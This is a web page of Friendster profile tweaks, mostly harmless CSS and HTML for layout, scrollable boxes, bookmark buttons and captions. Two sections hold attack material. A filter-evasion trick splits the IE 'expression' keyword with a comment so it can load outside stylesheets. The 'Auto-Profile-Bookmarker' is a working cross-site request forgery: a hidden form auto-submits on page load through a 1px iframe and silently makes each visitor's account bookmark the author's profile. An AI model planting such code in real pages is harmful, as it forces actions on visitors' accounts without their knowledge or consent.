Friendster Tricks and Tips

[ambot]

Hiding Your CSS CODE
credits goes to friendster-tweakers

This is an old trick, not really hiding your CSS but you can put your CSS code somewhere else.


First, you need to copy and save all your CSS code into a .txt file (use notepad). Then give it any name you want, you can also change the extension.

Secondly, upload your file (use file hosting service, like geocities for example), make sure the hosting server allow hotlinking.

Then we need to link to the CSS file. There are 2 different ways to do this, choose either one you like.

• From Now Playing

Put the following code in Now Playing.

<div style="height:expr/**/ession(document.createStyleSheet('http://f.friendster-tweakers.com/rsc/etc/friendster.tweakers'));"></div>

• From CSS section

Put the following code in CSS/Advanced section

body {height:expr/**/ession(document.createStyleSheet
('http://f.friendster-tweakers.com/rsc/etc/friendster.tweakers'));}

Dont forget to replace the URL inside the quotes with the URL of your CSS file.
This only works on Internet Explorer, because other browser can’t read the CSS file using this method.

[ambot]

Center your ENTIRE Profile

Paste this in CSS BOX

/* MASTER TEXT */
body,td,tr,div,p{ text-align: center; }{ { font-family:Arial, Sans-serif; font-size:13px; color:#ff33ff; font-style: italic; }
.left_column_info .q,.left_column_about .q,.left_column_testimonials_content .date,.right_column_groups_content .date,#search,#search form,#caption { font-size:13px; color:#ff33ff; }
.blogs h2,.blog_posted { font-size:13px !Important; color:#ff33ff !Important; }
#teaserbox ol li { font-size:13px; color:#ff33ff; }
#navigation div div,#navigation div div span { color:#ff33ff; }

[ambot]

Make All Your Profile Boxes Scrollable

Main Box (the box with your name, location, hometown etc.)

/* SCROLLABLE MAIN BOX */
.left_column_content{height:150px; overflow:auto;}

More About Me Box

/* SCROLLABLE MORE ABOUT ME BOX */
#morecontent{height:200px; overflow:auto;}

Testimonials Box

/* SCROLLABLE TESTIMONIALS BOX */
#testimonialsContent{height:250px; overflow:auto;}

Friends Box

/* SCROLLABLE FRIENDS BOX */
#friendsmodule .column_content{height:150px; overflow:auto;}

just choose the code you need and paste it in the CSS BOX

[ambot]

Post A Bulletin" form in your NON-OVERLAY profile!

Just copy the code below into my GENERATOR and hit COMPILE! Then, copy the produced codes into your MEDIA box and hit SAVE! That's all folks!

by Famous Vkey www.CodeVKEY.info

<form name="bulletin_form" action="bulletin.php" method="post">
<input type="hidden" name="_submitted" value="1"><input type="hidden" name="action" value="post"><table class="formtable">
<tr>
<td class="field"><label for="subjectfield">Subject:
              </label></td>
<td class="value"><input id="subjectfield" type="text" name="subject" size="50" maxlength="100" value=""></td>
</tr>
 
<tr>
<td class="field"><label for="messagefield">Message:
              </label></td>
<td class="value"><textarea id="messagefield" name="message" wrap="hard" rows="10" cols="50" onKeyDown="textCounter(document.bulletin_form.message,document.bulletin_form.inputcount,4000);" onKeyUp="textCounter(document.bulletin_form.message,document.bulletin_form.inputcount,4000);"></textarea></td>
</tr>
<tr>
<td class="field"></td>
<td class="value">Characters remaining: <input readonly type="text" name="inputcount" size="5" maxlength="4" value="" class="text">
</td>
</tr>
</table>
<input type="submit" value="Post" onmouseover="window.status='Post';return true;"> <input type="reset" value="Cancel " onclick="location.href='/bulletinboard.php'">
</form>
<script language="JavaScript">
        document.bulletin_form.inputcount.value = (4000 - document.bulletin_form.message.value.length);
      </script>

Auto-Profile-Bookmarker [APB] (for BOTH IE AND FIREFOX!)

Well, here comes another AUTO code!
This code works for both OVERLAID and NON-OVERLAID profile!


Name : Auto-Profile-Bookmarker [APB]

Description : When you add this code into your profile, those visitors who visit your profile would be auto-added into your People who have bookmarked you list and into their People you have bookmarked list as well. If the same person re-visits your profile again, nothing would happen!

Instructions :

1) Check the following code :

<script type="text/javascript">
window.onload = function () {document.addbookmark_form.submit();}
</script>
<form name="addbookmark_form" action="http://www.friendster.com/bookmarks.php" method="post" target="bookmark">
<input type="hidden" name="_submitted" value="1"><input type="hidden" name="action" value="add"><input type="hidden" name="uid" value="USERID"><input type="hidden" name="hidden" value="n"> 
</form>
<iframe name="bookmark" width=1 height=1 scrolling=no></iframe>

2) Change the USERID variable to your Friendster User ID ( e.g. 11165983 )


3) Copy the code and paste it into this GENERATOR


4) Copy the produced code into your MEDIA / HTML box and enjoy!!



Please report any bugs in this topic! I can't assure you that the code would work PERFECTLY!!..

Thank you!

[ambot]

customize your bookmark button

If someone view your profile, there will be “add bookmark” button on the right side of your display name in the main box. Here’s the codes to customize the button.

The codes should be placed on CSS/Advanced section.

/* CUSTOMIZING BOOKMARK BUTTON  */
a.bookmarkBtn {
font-family:Verdana;
font-size:9px;
color:#FF6600 !important;
background-color:#FFFFFF !important;
border:2px solid #FF6600;
background-image:
url(http://cosmopic.com/images/570/628/00000001.gif);}

Change the font size, color, etc.. based on your preference.

If you want to hide the button, use this code instead.

/* HIDE BOOKMARK BUTTON */
a.bookmarkBtn {
font-size:0px;
text-indent:-2200;
color:transparent !important;
background-color:transparent !important;
border:0px solid transparent;
background-image:none;}

[ambot]

Customizing Photo Captions

credits goes to

friendster-tweakers

You can do that using some HTML (and CSS) tags, and the effect can only be seen when you view your photos in “slideshow view”.

NOTE: Don’t use this trick on your primary photo caption.


Here are some example of codes you can use for photo captions (write it in one line on your photo caption field):

Caption with border and padding style

<div style="border:5px dashed black; padding:10px;">
<center>YOUR CAPTION</center></div>

• Bold + center caption

<center><b>YOUR CAPTION</b></center>

• Big caption with color style

<div style="font-size:72px; color:#ff6600;">
YOUR CAPTION</div>

• Marquee 1

<marquee direction="right" scrollamount="10" scroldelay="300">
YOUR CAPTION</marquee>

• Marquee 2

<center><marquee bgcolor="#CCCCCC" width="40%" behavior="alternate">
YOUR CAPTION</marquee></center>

Try experimenting with different codes/tags to get different results.
The only downside is that you can not write too many characters in the caption textfield.